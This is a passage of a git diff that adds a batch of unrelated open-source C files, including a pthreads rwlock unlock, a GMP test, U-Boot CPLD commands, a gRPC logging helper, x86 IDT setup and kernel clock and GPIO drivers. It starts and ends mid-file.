+ } + /* Compare each of the argv's ... */ + else + for (k = 0; k < argc_after; k++) + if (strcmp (argv_before[k], argv_after[k]) != 0) + { + printf ("FAIL: test-expandargv-%d. Arguments don't match.\n", i); + failed++; + } + + if (!failed) + printf ("PASS: test-expandargv-%d.\n", i); + else + fails++; + + freeargv (argv_before); + freeargv (argv_after); + /* Advance to next test */ + j += argc_after + 1; + /* Erase test file */ + erase_test (i); + i++; + } + return fails; +} + +/* main: + Run tests. + Check result and exit with appropriate code. */ + +int +main(int argc, char **argv) +{ + int fails; + /* Repeat for all the tests: + - Parse data array and write into file. + - Run replace hooks before writing to file. + - Parse data array and build argv before/after. + - Run replace hooks on argv before/after + - Run expandargv. + - Compare output of expandargv argv to after argv. + - If they compare the same then test passes + else the test fails. + - Erase test file. */ + + fails = run_tests (test_data); + if (!fails) + exit (EXIT_SUCCESS); + else + exit (EXIT_FAILURE); +} + diff --git a/pool/shard011/C/0141735_pthread_rwlock_unlock.c b/pool/shard011/C/0141735_pthread_rwlock_unlock.c new file mode 100644 index 0000000000000000000000000000000000000000..1fc6bdca34213201b2614cd631f00bf5ad79f373 --- /dev/null +++ b/pool/shard011/C/0141735_pthread_rwlock_unlock.c @@ -0,0 +1,91 @@ +/* + * pthread_rwlock_unlock.c + * + * Description: + * This translation unit implements read/write lock primitives. + * + * -------------------------------------------------------------------------- + * + * Pthreads-win32 - POSIX Threads Library for Win32 + * Copyright(C) 1998 John E. Bossom + * Copyright(C) 1999,2005 Pthreads-win32 contributors + * + * Contact Email: rpj@callisto.canberra.edu.au + * + * The current list of contributors is contained + * in the file CONTRIBUTORS included with the source + * code distribution. The list can also be seen at the + * following World Wide Web location: + * http://sources.redhat.com/pthreads-win32/contributors.html + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library in the file COPYING.LIB; + * if not, write to the Free Software Foundation, Inc., + * 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA + */ + +#include "ptw32pch.h" + + +int +pthread_rwlock_unlock (pthread_rwlock_t * rwlock) +{ + int result, result1; + pthread_rwlock_t rwl; + + if (rwlock == NULL || *rwlock == NULL) + { + return (EINVAL); + } + + if (*rwlock == PTHREAD_RWLOCK_INITIALIZER) + { + /* + * Assume any race condition here is harmless. + */ + return 0; + } + + rwl = *rwlock; + + if (rwl->nMagic != PTW32_RWLOCK_MAGIC) + { + return EINVAL; + } + + if (rwl->nExclusiveAccessCount == 0) + { + if ((result = + pthread_mutex_lock (&(rwl->mtxSharedAccessCompleted))) != 0) + { + return result; + } + + if (++rwl->nCompletedSharedAccessCount == 0) + { + result = pthread_cond_signal (&(rwl->cndSharedAccessCompleted)); + } + + result1 = pthread_mutex_unlock (&(rwl->mtxSharedAccessCompleted)); + } + else + { + rwl->nExclusiveAccessCount--; + + result = pthread_mutex_unlock (&(rwl->mtxSharedAccessCompleted)); + result1 = pthread_mutex_unlock (&(rwl->mtxExclusiveAccess)); + + } + + return ((result != 0) ? result : result1); +} diff --git a/pool/shard011/C/0141736_t-sqrlo.c b/pool/shard011/C/0141736_t-sqrlo.c new file mode 100644 index 0000000000000000000000000000000000000000..e9ab1e09c3ff87ea51d0c1ed7aec27f84be349a9 --- /dev/null +++ b/pool/shard011/C/0141736_t-sqrlo.c @@ -0,0 +1,129 @@ +/* Test for sqrlo function. + +Copyright 2009, 2015 Free Software Foundation, Inc. + +This file is part of the GNU MP Library test suite. + +The GNU MP Library test suite is free software; you can redistribute it +and/or modify it under the terms of the GNU General Public License as +published by the Free Software Foundation; either version 3 of the License, +or (at your option) any later version. + +The GNU MP Library test suite is distributed in the hope that it will be +useful, but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General +Public License for more details. + +You should have received a copy of the GNU General Public License along with +the GNU MP Library test suite. If not, see https://www.gnu.org/licenses/. */ + + +#include +#include + +#include "gmp-impl.h" +#include "tests.h" + +/* Sizes are up to 2^SIZE_LOG limbs */ +#ifndef SIZE_LOG +#define SIZE_LOG 10 +#endif + +#ifndef COUNT +#define COUNT 10000 +#endif + +#define MAX_N (1L << SIZE_LOG) +#define MIN_N (1) + +int +main (int argc, char **argv) +{ + mp_ptr ap, refp, pp, scratch; + int count = COUNT; + int test; + gmp_randstate_ptr rands; + TMP_DECL; + TMP_MARK; + + TESTS_REPS (count, argv, argc); + + tests_start (); + rands = RANDS; + +#define mpn_sqrlo_itch(n) (0) + + ap = TMP_ALLOC_LIMBS (MAX_N); + refp = TMP_ALLOC_LIMBS (MAX_N * 2); + pp = 1+TMP_ALLOC_LIMBS (MAX_N + 2); + scratch + = 1+TMP_ALLOC_LIMBS (mpn_sqrlo_itch (MAX_N) + 2); + + for (test = 0; test < count; test++) + { + unsigned size_min; + unsigned size_range; + mp_size_t n; + mp_size_t itch; + mp_limb_t p_before, p_after, s_before, s_after; + + for (size_min = 1; (1L << size_min) < MIN_N; size_min++) + ; + + /* We generate an in the MIN_N <= n <= (1 << size_range). */ + size_range = size_min + + gmp_urandomm_ui (rands, SIZE_LOG + 1 - size_min); + + n = MIN_N + + gmp_urandomm_ui (rands, (1L << size_range) + 1 - MIN_N); + + mpn_random2 (ap, n); + mpn_random2 (pp-1, n + 2); + p_before = pp[-1]; + p_after = pp[n]; + + itch = mpn_sqrlo_itch (n); + ASSERT_ALWAYS (itch <= mpn_sqrlo_itch (MAX_N)); + mpn_random2 (scratch-1, itch+2); + s_before = scratch[-1]; + s_after = scratch[itch]; + + mpn_sqrlo (pp, ap, n); + mpn_sqr (refp, ap, n); + if (pp[-1] != p_before || pp[n] != p_after + || scratch[-1] != s_before || scratch[itch] != s_after + || mpn_cmp (refp, pp, n) != 0) + { + printf ("ERROR in test %d, n = %d", + test, (int) n); + if (pp[-1] != p_before) + { + printf ("before pp:"); mpn_dump (pp -1, 1); + printf ("keep: "); mpn_dump (&p_before, 1); + } + if (pp[n] != p_after) + { + printf ("after pp:"); mpn_dump (pp + n, 1); + printf ("keep: "); mpn_dump (&p_after, 1); + } + if (scratch[-1] != s_before) + { + printf ("before scratch:"); mpn_dump (scratch-1, 1); + printf ("keep: "); mpn_dump (&s_before, 1); + } + if (scratch[itch] != s_after) + { + printf ("after scratch:"); mpn_dump (scratch + itch, 1); + printf ("keep: "); mpn_dump (&s_after, 1); + } + mpn_dump (ap, n); + mpn_dump (pp, n); + mpn_dump (refp, n); + + abort(); + } + } + TMP_FREE; + tests_end (); + return 0; +} diff --git a/pool/shard011/C/0141737_cpld.c b/pool/shard011/C/0141737_cpld.c new file mode 100644 index 0000000000000000000000000000000000000000..47c3b1627e34ba30faba1703df15825e81db05c2 --- /dev/null +++ b/pool/shard011/C/0141737_cpld.c @@ -0,0 +1,102 @@ +// SPDX-License-Identifier: GPL-2.0+ +/** + * Copyright 2014 Freescale Semiconductor + * + * Freescale T1024RDB board-specific CPLD controlling supports. + * + * The following macros need to be defined: + */ + +#include +#include +#include +#include "cpld.h" + +u8 cpld_read(unsigned int reg) +{ + void *p = (void *)CONFIG_SYS_CPLD_BASE; + + return in_8(p + reg); +} + +void cpld_write(unsigned int reg, u8 value) +{ + void *p = (void *)CONFIG_SYS_CPLD_BASE; + + out_8(p + reg, value); +} + +/** + * Set the boot bank to the alternate bank + */ +void cpld_set_altbank(void) +{ + u8 reg = CPLD_READ(flash_csr); + + reg = (reg & ~CPLD_BANK_SEL_MASK) | CPLD_LBMAP_ALTBANK; + + CPLD_WRITE(flash_csr, reg); + CPLD_WRITE(reset_ctl1, CPLD_LBMAP_RESET); +} + +/** + * Set the boot bank to the default bank + */ +void cpld_set_defbank(void) +{ + u8 reg = CPLD_READ(flash_csr); + + reg = (reg & ~CPLD_BANK_SEL_MASK) | CPLD_LBMAP_DFLTBANK; + + CPLD_WRITE(flash_csr, reg); + CPLD_WRITE(reset_ctl1, CPLD_LBMAP_RESET); +} + +static void cpld_dump_regs(void) +{ + printf("cpld_ver = 0x%02x\n", CPLD_READ(cpld_ver)); + printf("cpld_ver_sub = 0x%02x\n", CPLD_READ(cpld_ver_sub)); + printf("hw_ver = 0x%02x\n", CPLD_READ(hw_ver)); + printf("sw_ver = 0x%02x\n", CPLD_READ(sw_ver)); + printf("reset_ctl1 = 0x%02x\n", CPLD_READ(reset_ctl1)); + printf("reset_ctl2 = 0x%02x\n", CPLD_READ(reset_ctl2)); + printf("int_status = 0x%02x\n", CPLD_READ(int_status)); + printf("flash_csr = 0x%02x\n", CPLD_READ(flash_csr)); + printf("fan_ctl_status = 0x%02x\n", CPLD_READ(fan_ctl_status)); + printf("led_ctl_status = 0x%02x\n", CPLD_READ(led_ctl_status)); + printf("sfp_ctl_status = 0x%02x\n", CPLD_READ(sfp_ctl_status)); + printf("misc_ctl_status = 0x%02x\n", CPLD_READ(misc_ctl_status)); + printf("boot_override = 0x%02x\n", CPLD_READ(boot_override)); + printf("boot_config1 = 0x%02x\n", CPLD_READ(boot_config1)); + printf("boot_config2 = 0x%02x\n", CPLD_READ(boot_config2)); + putc('\n'); +} + +int do_cpld(struct cmd_tbl *cmdtp, int flag, int argc, char *const argv[]) +{ + int rc = 0; + + if (argc <= 1) + return cmd_usage(cmdtp); + + if (strcmp(argv[1], "reset") == 0) { + if (strcmp(argv[2], "altbank") == 0) + cpld_set_altbank(); + else + cpld_set_defbank(); + } else if (strcmp(argv[1], "dump") == 0) { + cpld_dump_regs(); + } else { + rc = cmd_usage(cmdtp); + } + + return rc; +} + +U_BOOT_CMD( + cpld, CONFIG_SYS_MAXARGS, 1, do_cpld, + "Reset the board or alternate bank", + "reset - hard reset to default bank\n" + "cpld reset altbank - reset to alternate bank\n" + "cpld dump - display the CPLD registers\n" + ); diff --git a/pool/shard011/C/0141738_prog21.c b/pool/shard011/C/0141738_prog21.c new file mode 100644 index 0000000000000000000000000000000000000000..9ce07ddd47884465305afa28b708ff75168523c3 --- /dev/null +++ b/pool/shard011/C/0141738_prog21.c @@ -0,0 +1,53 @@ +#include +#include +#include +#include +#include + +#define handle_error(msg) \ + do { perror(msg); exit(EXIT_FAILURE); } while(0) + +int main(int argc, char *argv[]) { + pid_t parent, child; + int status; + int i; + + parent=getpid(); + if( (child=fork()) == -1) { + handle_error("fork"); + } + + if(child) { + /* Parent process */ + printf("Parent with pid = %d\nJust sapwned Child with pid = %d\n", parent, child); + /* Wait for child to complete */ + waitpid(child, &status, 0); + printf("child exited with status = 0x%08x\n", status); + if(WIFEXITED(status)) { + printf("Child exited with status = %d\n", WEXITSTATUS(status)); + } + + if(WIFSIGNALED(status)) { + printf("Child exited due to signal = %d\n", WTERMSIG(status)); + #ifdef WCOREDUMP + printf("Core Dump flag = %d\n", WCOREDUMP(status)); + #endif + } + } else { + /* Child process */ + child=getpid(); + printf("Running child with pid = %d\n", child); + i=10; + while(i) { + i--; + printf("sleeping for a second\n"); + sleep(1); + if(i==5) { + /* Cause Segmentation Fault */ + exit(3); + *(int *)0 = 10; + } + } + } + return EXIT_SUCCESS; +} diff --git a/pool/shard011/C/0141739_call_log_batch.c b/pool/shard011/C/0141739_call_log_batch.c new file mode 100644 index 0000000000000000000000000000000000000000..a33583a12d1f1665630730550d2f0a75649ba3e5 --- /dev/null +++ b/pool/shard011/C/0141739_call_log_batch.c @@ -0,0 +1,121 @@ +/* + * + * Copyright 2015, Google Inc. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are + * met: + * + * * Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above + * copyright notice, this list of conditions and the following disclaimer + * in the documentation and/or other materials provided with the + * distribution. + * * Neither the name of Google Inc. nor the names of its + * contributors may be used to endorse or promote products derived from + * this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT + * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + */ + +#include "src/core/surface/call.h" + +#include "src/core/support/string.h" +#include + +int grpc_trace_batch = 0; + +static void add_metadata(gpr_strvec *b, const grpc_metadata *md, size_t count) { + size_t i; + for(i = 0; i < count; i++) { + gpr_strvec_add(b, gpr_strdup("\nkey=")); + gpr_strvec_add(b, gpr_strdup(md[i].key)); + + gpr_strvec_add(b, gpr_strdup(" value=")); + gpr_strvec_add(b, gpr_hexdump(md[i].value, md[i].value_length, + GPR_HEXDUMP_PLAINTEXT)); + } +} + +char *grpc_op_string(const grpc_op *op) { + char *tmp; + char *out; + + gpr_strvec b; + gpr_strvec_init(&b); + + switch (op->op) { + case GRPC_OP_SEND_INITIAL_METADATA: + gpr_strvec_add(&b, gpr_strdup("SEND_INITIAL_METADATA")); + add_metadata(&b, op->data.send_initial_metadata.metadata, + op->data.send_initial_metadata.count); + break; + case GRPC_OP_SEND_MESSAGE: + gpr_asprintf(&tmp, "SEND_MESSAGE ptr=%p", op->data.send_message); + gpr_strvec_add(&b, tmp); + break; + case GRPC_OP_SEND_CLOSE_FROM_CLIENT: + gpr_strvec_add(&b, gpr_strdup("SEND_CLOSE_FROM_CLIENT")); + break; + case GRPC_OP_SEND_STATUS_FROM_SERVER: + gpr_asprintf(&tmp, "SEND_STATUS_FROM_SERVER status=%d details=%s", + op->data.send_status_from_server.status, + op->data.send_status_from_server.status_details); + gpr_strvec_add(&b, tmp); + add_metadata(&b, op->data.send_status_from_server.trailing_metadata, + op->data.send_status_from_server.trailing_metadata_count); + break; + case GRPC_OP_RECV_INITIAL_METADATA: + gpr_asprintf(&tmp, "RECV_INITIAL_METADATA ptr=%p", + op->data.recv_initial_metadata); + gpr_strvec_add(&b, tmp); + break; + case GRPC_OP_RECV_MESSAGE: + gpr_asprintf(&tmp, "RECV_MESSAGE ptr=%p", op->data.recv_message); + gpr_strvec_add(&b, tmp); + break; + case GRPC_OP_RECV_STATUS_ON_CLIENT: + gpr_asprintf(&tmp, + "RECV_STATUS_ON_CLIENT metadata=%p status=%p details=%p", + op->data.recv_status_on_client.trailing_metadata, + op->data.recv_status_on_client.status, + op->data.recv_status_on_client.status_details); + gpr_strvec_add(&b, tmp); + break; + case GRPC_OP_RECV_CLOSE_ON_SERVER: + gpr_asprintf(&tmp, "RECV_CLOSE_ON_SERVER cancelled=%p", + op->data.recv_close_on_server.cancelled); + gpr_strvec_add(&b, tmp); + } + out = gpr_strvec_flatten(&b, NULL); + gpr_strvec_destroy(&b); + + return out; +} + +void grpc_call_log_batch(char *file, int line, gpr_log_severity severity, + grpc_call *call, const grpc_op *ops, size_t nops, + void *tag) { + char *tmp; + size_t i; + gpr_log(file, line, severity, + "grpc_call_start_batch(%p, %p, %d, 0x%x)", call, ops, nops, tag); + for(i = 0; i < nops; i++) { + tmp = grpc_op_string(&ops[i]); + gpr_log(file, line, severity, "ops[%d]: %s", i, tmp); + gpr_free(tmp); + } +} diff --git a/pool/shard011/C/0141740_idt.c b/pool/shard011/C/0141740_idt.c new file mode 100644 index 0000000000000000000000000000000000000000..21583ae3a37d6c477b5fb8f227e4f85e6bb6ee33 --- /dev/null +++ b/pool/shard011/C/0141740_idt.c @@ -0,0 +1,80 @@ +#include +#include +#include +#include + +static void idt_set_gate(uint8_t num, uint32_t offset, uint16_t selector, uint8_t flags); + +idt_entry_t idt_entries[256]; +idt_ptr_t idt_ptr; + +void init_idt() { + + // Remap the irq table. + outb(0x20, 0x11); + outb(0xA0, 0x11); + outb(0x21, 0x20); + outb(0xA1, 0x28); + outb(0x21, 0x04); + outb(0xA1, 0x02); + outb(0x21, 0x01); + outb(0xA1, 0x01); + outb(0x21, 0x0); + outb(0xA1, 0x0); + + idt_ptr.limit = sizeof(idt_entry_t) * 256 -1; + idt_ptr.base = (uint32_t)&idt_entries; + + memset(&idt_entries, 0, sizeof(idt_entry_t)*256); + + // set gates + idt_set_gate(0, (uint32_t)isr0, 0x08, 0x8E); + idt_set_gate(1, (uint32_t)isr1, 0x08, 0x8E); + idt_set_gate(2, (uint32_t)isr2, 0x08, 0x8E); + idt_set_gate(3, (uint32_t)isr3, 0x08, 0x8E); + idt_set_gate(4, (uint32_t)isr4, 0x08, 0x8E); + idt_set_gate(5, (uint32_t)isr5, 0x08, 0x8E); + idt_set_gate(6, (uint32_t)isr6, 0x08, 0x8E); + idt_set_gate(7, (uint32_t)isr7, 0x08, 0x8E); + idt_set_gate(8, (uint32_t)isr8, 0x08, 0x8E); + idt_set_gate(9, (uint32_t)isr9, 0x08, 0x8E); + idt_set_gate(10, (uint32_t)isr10, 0x08, 0x8E); + idt_set_gate(11, (uint32_t)isr11, 0x08, 0x8E); + idt_set_gate(12, (uint32_t)isr12, 0x08, 0x8E); + idt_set_gate(13, (uint32_t)isr13, 0x08, 0x8E); + idt_set_gate(14, (uint32_t)isr14, 0x08, 0x8E); + idt_set_gate(15, (uint32_t)isr15, 0x08, 0x8E); + idt_set_gate(16, (uint32_t)isr16, 0x08, 0x8E); + idt_set_gate(17, (uint32_t)isr17, 0x08, 0x8E); + idt_set_gate(18, (uint32_t)isr18, 0x08, 0x8E); + + + idt_set_gate(32, (uint32_t)irq0, 0x08, 0x8E); + idt_set_gate(33, (uint32_t)irq1, 0x08, 0x8E); + idt_set_gate(34, (uint32_t)irq2, 0x08, 0x8E); + idt_set_gate(35, (uint32_t)irq3, 0x08, 0x8E); + idt_set_gate(36, (uint32_t)irq4, 0x08, 0x8E); + idt_set_gate(37, (uint32_t)irq5, 0x08, 0x8E); + idt_set_gate(38, (uint32_t)irq6, 0x08, 0x8E); + idt_set_gate(39, (uint32_t)irq7, 0x08, 0x8E); + idt_set_gate(40, (uint32_t)irq8, 0x08, 0x8E); + idt_set_gate(41, (uint32_t)irq9, 0x08, 0x8E); + idt_set_gate(42, (uint32_t)irq10, 0x08, 0x8E); + idt_set_gate(43, (uint32_t)irq11, 0x08, 0x8E); + idt_set_gate(44, (uint32_t)irq12, 0x08, 0x8E); + idt_set_gate(45, (uint32_t)irq13, 0x08, 0x8E); + idt_set_gate(46, (uint32_t)irq14, 0x08, 0x8E); + idt_set_gate(47, (uint32_t)irq15, 0x08, 0x8E); + + idt_flush((uint32_t) &idt_ptr); +} + +static void idt_set_gate(uint8_t num, uint32_t offset, uint16_t selector, uint8_t flags) { + idt_entries[num].offset_low = offset & 0xFFFF; + idt_entries[num].offset_high = (offset >> 16) & 0xFFFF; + + idt_entries[num].selector = selector; + idt_entries[num].zero = 0; + + idt_entries[num].flags = flags; +} diff --git a/pool/shard011/C/0141741_clk-oxnas.c b/pool/shard011/C/0141741_clk-oxnas.c new file mode 100644 index 0000000000000000000000000000000000000000..8d80c4f2b81ead83134db294668272bae703a3ef --- /dev/null +++ b/pool/shard011/C/0141741_clk-oxnas.c @@ -0,0 +1,262 @@ +/* + * Copyright (C) 2010 Broadcom + * Copyright (C) 2012 Stephen Warren + * + * This program is free software; you can redistribute it and/or modify it + * under the terms and conditions of the GNU General Public License, + * version 2, as published by the Free Software Foundation. + * + * This program is distributed in the hope it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for + * more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define MHZ (1000 * 1000) + +static unsigned long plla_clk_recalc_rate(struct clk_hw *hw, + unsigned long parent_rate) +{ + unsigned long fin = parent_rate; + unsigned long pll0; + unsigned long fbdiv, refdiv, outdiv; + + pll0 = readl_relaxed(SYS_CTRL_PLLA_CTRL0); + refdiv = (pll0 >> PLLA_REFDIV_SHIFT) & PLLA_REFDIV_MASK; + refdiv += 1; + outdiv = (pll0 >> PLLA_OUTDIV_SHIFT) & PLLA_OUTDIV_MASK; + outdiv += 1; + fbdiv = readl_relaxed(SYS_CTRL_PLLA_CTRL1); + + /* seems we will not be here when pll is bypassed, so ignore this + * case */ + + return fin / MHZ * fbdiv / (refdiv * outdiv) / 32768 * MHZ; +} + +static const char *pll_clk_parents[] = { + "oscillator", +}; + +static struct clk_ops plla_ops = { + .recalc_rate = plla_clk_recalc_rate, +}; + +static struct clk_init_data clk_plla_init = { + .name = "plla", + .ops = &plla_ops, + .parent_names = pll_clk_parents, + .num_parents = ARRAY_SIZE(pll_clk_parents), +}; + +static struct clk_hw plla_hw = { + .init = &clk_plla_init, +}; + +static struct device_node *node_pllb; + +int pllb_clk_enable(struct clk_hw *hw) +{ + struct reset_control *rstc; + + rstc = of_reset_control_get(node_pllb, NULL); + if (IS_ERR(rstc)) + return PTR_ERR(rstc); + + /* put PLL into bypass */ + oxnas_register_set_mask(SEC_CTRL_PLLB_CTRL0, BIT(PLLB_BYPASS)); + wmb(); + udelay(10); + reset_control_assert(rstc); + udelay(10); + /* set PLL B control information */ + writel((1 << PLLB_ENSAT) | (1 << PLLB_OUTDIV) | (2 << PLLB_REFDIV), + SEC_CTRL_PLLB_CTRL0); + reset_control_deassert(rstc); + reset_control_put(rstc); + udelay(100); + oxnas_register_clear_mask(SEC_CTRL_PLLB_CTRL0, BIT(PLLB_BYPASS)); + + return 0; +} + +void pllb_clk_disable(struct clk_hw *hw) +{ + struct reset_control *rstc; + + /* put PLL into bypass */ + oxnas_register_set_mask(SEC_CTRL_PLLB_CTRL0, BIT(PLLB_BYPASS)); + wmb(); + udelay(10); + + rstc = of_reset_control_get(node_pllb, NULL); + if (!IS_ERR(rstc)) + reset_control_assert(rstc); +} + +static struct clk_ops pllb_ops = { + .enable = pllb_clk_enable, + .disable = pllb_clk_disable, +}; + +static struct clk_init_data clk_pllb_init = { + .name = "pllb", + .ops = &pllb_ops, + .parent_names = pll_clk_parents, + .num_parents = ARRAY_SIZE(pll_clk_parents), +}; + +static struct clk_hw pllb_hw = { + .init = &clk_pllb_init, +}; + +/* standard gate clock */ +struct clk_std { + struct clk_hw hw; + signed char bit; +}; + +#define NUM_STD_CLKS 17 +#define to_stdclk(_hw) container_of(_hw, struct clk_std, hw) + +static int std_clk_is_enabled(struct clk_hw *hw) +{ + struct clk_std *std = to_stdclk(hw); + + return readl_relaxed(SYSCTRL_CLK_STAT) & BIT(std->bit); +} + +static int std_clk_enable(struct clk_hw *hw) +{ + struct clk_std *std = to_stdclk(hw); + + writel(BIT(std->bit), SYS_CTRL_CLK_SET_CTRL); + return 0; +} + +static void std_clk_disable(struct clk_hw *hw) +{ + struct clk_std *std = to_stdclk(hw); + + writel(BIT(std->bit), SYS_CTRL_CLK_CLR_CTRL); +} + +static struct clk_ops std_clk_ops = { + .enable = std_clk_enable, + .disable = std_clk_disable, + .is_enabled = std_clk_is_enabled, +}; + +static const char *std_clk_parents[] = { + "oscillator", +}; + +static const char *eth_parents[] = { + "gmacclk", +}; + +#define DECLARE_STD_CLKP(__clk, __bit, __parent) \ +static struct clk_init_data clk_##__clk##_init = { \ + .name = __stringify(__clk), \ + .ops = &std_clk_ops, \ + .parent_names = __parent, \ + .num_parents = ARRAY_SIZE(__parent), \ +}; \ + \ +static struct clk_std clk_##__clk = { \ + .bit = __bit, \ + .hw = { \ + .init = &clk_##__clk##_init, \ + }, \ +} + +#define DECLARE_STD_CLK(__clk, __bit) DECLARE_STD_CLKP(__clk, __bit, \ + std_clk_parents) + +DECLARE_STD_CLK(leon, 0); +DECLARE_STD_CLK(dma_sgdma, 1); +DECLARE_STD_CLK(cipher, 2); +DECLARE_STD_CLK(sd, 3); +DECLARE_STD_CLK(sata, 4); +DECLARE_STD_CLK(audio, 5); +DECLARE_STD_CLK(usbmph, 6); +DECLARE_STD_CLKP(etha, 7, eth_parents); +DECLARE_STD_CLK(pciea, 8); +DECLARE_STD_CLK(static, 9); +DECLARE_STD_CLK(ethb, 10); +DECLARE_STD_CLK(pcieb, 11); +DECLARE_STD_CLK(ref600, 12); +DECLARE_STD_CLK(usbdev, 13); + +struct clk_hw *std_clk_hw_tbl[] = { + &clk_leon.hw, + &clk_dma_sgdma.hw, + &clk_cipher.hw, + &clk_sd.hw, + &clk_sata.hw, + &clk_audio.hw, + &clk_usbmph.hw, + &clk_etha.hw, + &clk_pciea.hw, + &clk_static.hw, + &clk_ethb.hw, + &clk_pcieb.hw, + &clk_ref600.hw, + &clk_usbdev.hw, +}; + +struct clk *std_clk_tbl[ARRAY_SIZE(std_clk_hw_tbl)]; + +static struct clk_onecell_data std_clk_data; + +void __init oxnas_init_stdclk(struct device_node *np) +{ + int i; + + for (i = 0; i < ARRAY_SIZE(std_clk_hw_tbl); i++) { + std_clk_tbl[i] = clk_register(NULL, std_clk_hw_tbl[i]); + BUG_ON(IS_ERR(std_clk_tbl[i])); + } + std_clk_data.clks = std_clk_tbl; + std_clk_data.clk_num = ARRAY_SIZE(std_clk_tbl); + of_clk_add_provider(np, of_clk_src_onecell_get, &std_clk_data); +} +CLK_OF_DECLARE(oxnas_pllstd, "plxtech,nas782x-stdclk", oxnas_init_stdclk); + +void __init oxnas_init_plla(struct device_node *np) +{ + struct clk *clk; + + clk = clk_register(NULL, &plla_hw); + BUG_ON(IS_ERR(clk)); + /* mark it as enabled */ + clk_prepare_enable(clk); + of_clk_add_provider(np, of_clk_src_simple_get, clk); +} +CLK_OF_DECLARE(oxnas_plla, "plxtech,nas782x-plla", oxnas_init_plla); + +void __init oxnas_init_pllb(struct device_node *np) +{ + struct clk *clk; + + node_pllb = np; + + clk = clk_register(NULL, &pllb_hw); + BUG_ON(IS_ERR(clk)); + of_clk_add_provider(np, of_clk_src_simple_get, clk); +} +CLK_OF_DECLARE(oxnas_pllb, "plxtech,nas782x-pllb", oxnas_init_pllb); diff --git a/pool/shard011/C/0141742_cpuinit.c b/pool/shard011/C/0141742_cpuinit.c new file mode 100644 index 0000000000000000000000000000000000000000..5f5b3bb1d8472a2f0410260cb6edb84e1be2e273 --- /dev/null +++ b/pool/shard011/C/0141742_cpuinit.c @@ -0,0 +1,51 @@ +/* + * cpuinit.c - this file contains functions for initializing the CPU + * + * Written by Jay Monkman (jmonkman@frasca.com) + * + * $Id: cpuinit.c,v 1.2 2004/04/21 10:42:59 ralf Exp $ + */ + +#include + +/* Macros for handling all the MMU SPRs */ +#define PUT_IC_CST(r) __asm__ volatile ("mtspr 0x230,%0\n" ::"r"(r)) +#define GET_IC_CST(r) __asm__ volatile ("mfspr %0,0x230\n" :"=r"(r)) +#define PUT_DC_CST(r) __asm__ volatile ("mtspr 0x238,%0\n" ::"r"(r)) +#define GET_DC_CST(r) __asm__ volatile ("mfspr %0,0x238\n" :"=r"(r)) + +void cpu_init(void) +{ + /* BRGCLK is VCO_OUT/4 */ +/* + m8260.sccr = 0; +*/ + +#if 0 + register unsigned long t1, t2; + + /* Let's clear MSR[IR] and MSR[DR] */ + t2 = PPC_MSR_IR | PPC_MSR_DR; + __asm__ volatile ( + "mfmsr %0\n" + "andc %0, %0, %1\n" + "mtmsr %0\n" :"=r"(t1), "=r"(t2): + "1"(t2)); + + t1 = M8xx_CACHE_CMD_UNLOCK; + /* PUT_DC_CST(t1); */ + PUT_IC_CST(t1); + + t1 = M8xx_CACHE_CMD_INVALIDATE; + /* PUT_DC_CST(t1); */ + PUT_IC_CST(t1); + + t1 = M8xx_CACHE_CMD_ENABLE; + PUT_IC_CST(t1); + + t1 = M8xx_CACHE_CMD_SFWT; + /* PUT_DC_CST(t1); */ + t1 = M8xx_CACHE_CMD_ENABLE; + /* PUT_DC_CST(t1);*/ +#endif +} diff --git a/pool/shard011/C/0141743_gpio-palmas.c b/pool/shard011/C/0141743_gpio-palmas.c new file mode 100644 index 0000000000000000000000000000000000000000..6f27b3d94d53d6dd2ff16742b4723998316ffc61 --- /dev/null +++ b/pool/shard011/C/0141743_gpio-palmas.c @@ -0,0 +1,231 @@ +/* + * TI Palma series PMIC's GPIO driver. + * + * Copyright (c) 2012, NVIDIA CORPORATION. All rights reserved. + * + * Author: Laxman Dewangan + * + * This program is free software; you can redistribute it and/or modify it + * under the terms and conditions of the GNU General Public License, + * version 2, as published by the Free Software Foundation. + * + * This program is distributed in the hope it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for + * more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +#include +#include +#include +#include +#include +#include +#include + +struct palmas_gpio { + struct gpio_chip gpio_chip; + struct palmas *palmas; +}; + +struct palmas_device_data { + int ngpio; +}; + +static int palmas_gpio_get(struct gpio_chip *gc, unsigned offset) +{ + struct 